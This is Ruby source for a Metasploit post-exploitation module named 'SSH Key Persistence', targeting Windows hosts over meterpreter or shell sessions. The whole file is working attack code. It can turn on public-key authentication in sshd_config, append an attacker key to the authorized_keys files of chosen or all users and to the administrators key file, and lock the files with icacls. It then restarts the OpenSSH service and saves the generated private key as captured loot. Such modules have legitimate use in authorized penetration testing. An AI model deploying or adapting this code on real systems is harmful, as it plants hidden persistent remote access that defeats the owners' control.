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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'sshkey'
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class MetasploitModule < Msf::Post
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  Rank = GoodRanking
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  include Msf::Post::File
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  include Msf::Post::Windows::UserProfiles
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'SSH Key Persistence',
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        'Description' => %q{
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          This module will add an SSH key to a specified user (or all), to allow
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          remote login via SSH at any time.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Dean Welch <dean_welch[at]rapid7.com>'
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        ],
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        'Platform' => [ 'windows' ],
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        'SessionTypes' => [ 'meterpreter', 'shell' ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_fs_mkdir
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              stdapi_fs_separator
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            ]
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          }
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
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        OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
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        OptString.new('SSHD_CONFIG', [true, 'sshd_config file', 'C:\ProgramData\ssh\sshd_config' ]),
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        OptString.new('ADMIN_KEY_FILE', [true, 'Admin key file', 'C:\ProgramData\ssh\administrators_authorized_keys' ]),
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        OptBool.new('EDIT_CONFIG', [true, 'Edit ssh config to allow public key authentication', false ]),
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        OptBool.new('ADMIN', [true, 'Add keys for administrator accounts', false ]),
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        OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
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      ], self.class
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    )
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  end
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  def run
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    sep = separator
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    sshd_config = read_file(datastore['SSHD_CONFIG'])
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    print_status('Checking SSH Permissions')
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    if !pub_key_auth_allowed?(sshd_config) && datastore['EDIT_CONFIG']
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      enable_pub_key_auth(sshd_config)
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    end
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    auth_key_file = auth_key_file_name(sshd_config)
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    print_status("Authorized Keys File: #{auth_key_file}")
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    auth_key_folder = auth_key_file.split('/')[0...-1].join(sep)
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    auth_key_file = auth_key_file.split('/')[-1]
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    paths = []
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    if datastore['USERNAME']
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      grab_user_profiles.each do |profile|
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        paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" if profile['UserName'] == datastore['USERNAME']
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      end
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    end
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    if datastore['ADMIN'] # SSH keys for admin accounts are stored in a separate location
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      admin_auth_key_folder = datastore['ADMIN_KEY_FILE'].split(sep)[0...-1].join(sep)
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      admin_auth_key_file = datastore['ADMIN_KEY_FILE'].split(sep)[-1]
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      print_status("Admin Authorized Keys File: #{admin_auth_key_file}")
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      write_key([admin_auth_key_folder], admin_auth_key_file, sep)
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    end
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    if !datastore['USERNAME'] && !datastore['ADMIN']
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      grab_user_profiles.each do |profile|
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        paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}"
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      end
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    end
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    if datastore['CREATESSHFOLDER'] == true
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      create_ssh_folder(paths)
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    end
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    paths = paths.select { |d| directory?(d) }
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    unless paths.empty?
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      write_key(paths, auth_key_file, sep)
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    end
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    restart_openssh
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  end
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  def enable_pub_key_auth(sshd_config)
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    sshd_config = sshd_config.sub(/^.*(PubkeyAuthentication).*$/, 'PubkeyAuthentication yes')
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    write_file(datastore['SSHD_CONFIG'], sshd_config)
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  end
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  def pub_key_auth_allowed?(sshd_config)
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    /^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
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    if pub_key && pub_key == 'no'
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      print_error('Pubkey Authentication disabled')
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    elsif pub_key
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      vprint_good("Pubkey set to #{pub_key}")
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    end
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  end
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  def auth_key_file_name(sshd_config)
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    %r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
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    if auth_key_file
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      auth_key_file = auth_key_file.gsub('%h', '')
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      auth_key_file = auth_key_file.gsub('%%', '%')
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      if auth_key_file.start_with? '/'
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        auth_key_file = auth_key_file[1..]
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      end
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    else
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      auth_key_file = '.ssh/authorized_keys'
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    end
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    auth_key_file
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  end
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  def create_ssh_folder(paths)
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    vprint_status("Attempting to create ssh folders that don't exist")
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    paths.each do |p|
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      unless directory?(p)
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        print_status("Creating #{p} folder")
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        session.fs.dir.mkdir(p)
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      end
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    end
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  end
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  def restart_openssh
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    cmd_exec('net stop "OpenSSH SSH Server"')
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    cmd_exec('net start "OpenSSH SSH Server"')
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  end
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  def set_pub_key_file_permissions(file)
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    cmd_exec("icacls #{file} /inheritance:r")
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    cmd_exec("icacls #{file} /grant SYSTEM:(F)")
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    cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")
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  end
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  def separator
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    if session.type == 'meterpreter'
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      sep = session.fs.file.separator
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    else
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      # Guess, but it's probably right
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      sep = '\\'
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    end
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    sep
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  end
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  def write_key(paths, auth_key_file, sep)
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    if datastore['PUBKEY'].nil?
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      key = SSHKey.generate
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      our_pub_key = key.ssh_public_key
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      loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
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      print_good("Storing new private key as #{loot_path}")
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    else
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      our_pub_key = ::File.read(datastore['PUBKEY'])
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    end
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    paths.each do |path|
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      path.chomp!
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      authorized_keys = "#{path}#{sep}#{auth_key_file}"
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      print_status("Adding key to #{authorized_keys}")
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      append_file(authorized_keys, "\n#{our_pub_key}")
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      print_good('Key Added')
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      set_pub_key_file_permissions(authorized_keys)
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      next unless datastore['PUBKEY'].nil?
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      path_array = path.split(sep)
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      path_array.pop
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      user = path_array.pop
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      credential_data = {
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        origin_type: :session,
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        session_id: session_db_id,
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        post_reference_name: refname,
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        private_type: :ssh_key,
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        private_data: key.private_key.to_s,
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        username: user,
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        workspace_id: myworkspace_id
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      }
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      create_credential(credential_data)
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    end
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  end
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end
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